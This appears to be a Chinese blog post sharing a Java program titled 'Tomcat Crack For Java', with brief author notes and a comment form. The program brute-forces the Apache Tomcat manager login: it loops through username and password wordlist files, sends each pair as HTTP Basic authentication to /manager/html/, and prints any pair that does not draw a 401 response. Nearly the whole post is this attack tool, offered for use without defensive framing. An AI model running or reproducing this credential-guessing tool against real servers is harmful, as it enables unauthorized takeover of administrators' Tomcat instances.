2025-02-17

這個沒有圖形界面,過幾天有時間瞭再把界面做出來。o(∩_∩)o…

測試環境:myeclipse+jdk1.4


Made by 孤水繞城

轉載請註明出處 。
QQ:540410588
Blog:https://hi.baidu.com/540410588/


/**
* <pre>
* Title:         HttpRequestProxy.java
* Project:     Tomcat Crack For Java
* Author:        孤水繞城
* Create:         2007-7-3 上午03:07:07
* Copyright:     Copyright (c) 2007
* <pre>
*/
//package com.hengpeng.ante.http;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;


import org.apache.log4j.Logger;

/**
* <pre>
* HTTP請求代理類
* </pre>
*
* @author benl
* @version 1.0, 2007-7-3
*/
public class HttpRequestProxy
{
/**
* 連接超時
*/
private static int connectTimeOut = 5000;

/**
* 讀取數據超時
*/
private static int readTimeOut = 10000;

/**
* 請求編碼
*/
private static String requestEncoding = “GBK”;


/**
* <pre>
* 發送帶參數的GET的HTTP請求
* </pre>
*
* @param reqUrl HTTP請求URL
* @param parameters 參數映射表
* @return HTTP響應的字符串
*/

public static boolean doGet(String requrl,String getstr){

boolean flag = false;
HttpURLConnection url_con = null;
String responseContent = null;
try
{
StringBuffer params = new StringBuffer();             
URL url = new URL(requrl);
url_con = (HttpURLConnection) url.openConnection();
// url_con.set
url_con.setRequestMethod(“GET”);
url_con.setRequestProperty(“Connection”, “Keep-Alive”);
url_con.setRequestProperty(“Cache-Control”, “no-cache”);
url_con.setRequestProperty(“Authorization”, “Basic “+getstr);
System.setProperty(“sun.net.client.defaultConnectTimeout”, String
.valueOf(HttpRequestProxy.connectTimeOut));// (單位:毫秒)jdk1.4換成這個,連接超時
System.setProperty(“sun.net.client.defaultReadTimeout”, String
.valueOf(HttpRequestProxy.readTimeOut)); // (單位:毫秒)jdk1.4換成這個,讀操作超時
// url_con.setConnectTimeout(5000);//(單位:毫秒)jdk
// 1.5換成這個,連接超時
// url_con.setReadTimeout(5000);//(單位:毫秒)jdk 1.5換成這個,讀操作超時
url_con.setDoOutput(true);

byte[] b = params.toString().getBytes();
url_con.getOutputStream().write(b, 0, b.length);
url_con.getOutputStream().flush();
url_con.getOutputStream().close();
if(url_con.getResponseCode()!=401){                 
flag = true;                          
}
}
catch (IOException e)
{
e.printStackTrace();
}
finally
{
if (url_con != null)
{
url_con.disconnect();
}
}
return flag;

}

public static void readFile(String user,String pass){  
File fileuser = new File(user);
File filepass = new File(pass);
String struser=””;
String strpass=””;
try {
InputStream inuser = new FileInputStream(fileuser);
InputStreamReader isruser = new InputStreamReader(inuser);
BufferedReader bfuser = new BufferedReader(isruser);
String a=”” ;
while((struser=bfuser.readLine())!=null){
InputStream inpass = new FileInputStream(filepass);
InputStreamReader isrpass = new InputStreamReader(inpass);
BufferedReader bfpass = new BufferedReader(isrpass);
while((strpass=bfpass.readLine())!=null){
byte[] result = Base64.encode((struser+”:”+strpass).getBytes());
a = new String(result);
boolean temp1 ;
temp1=HttpRequestProxy.doGet(“https://localhost:8080/manager/html/”,a);
if(temp1){
System.out.print((struser+”:”+strpass));
break;
}
}
}
} catch (FileNotFoundException e) {

e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void main(String[] args)
{

String pathuser=”D:\Myeclipsee\MyJava\src\user.txt”;
String pathpass=”D:\Myeclipsee\MyJava\src\pass.txt”;
HttpRequestProxy.readFile(pathuser,pathpass);           
}
}

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *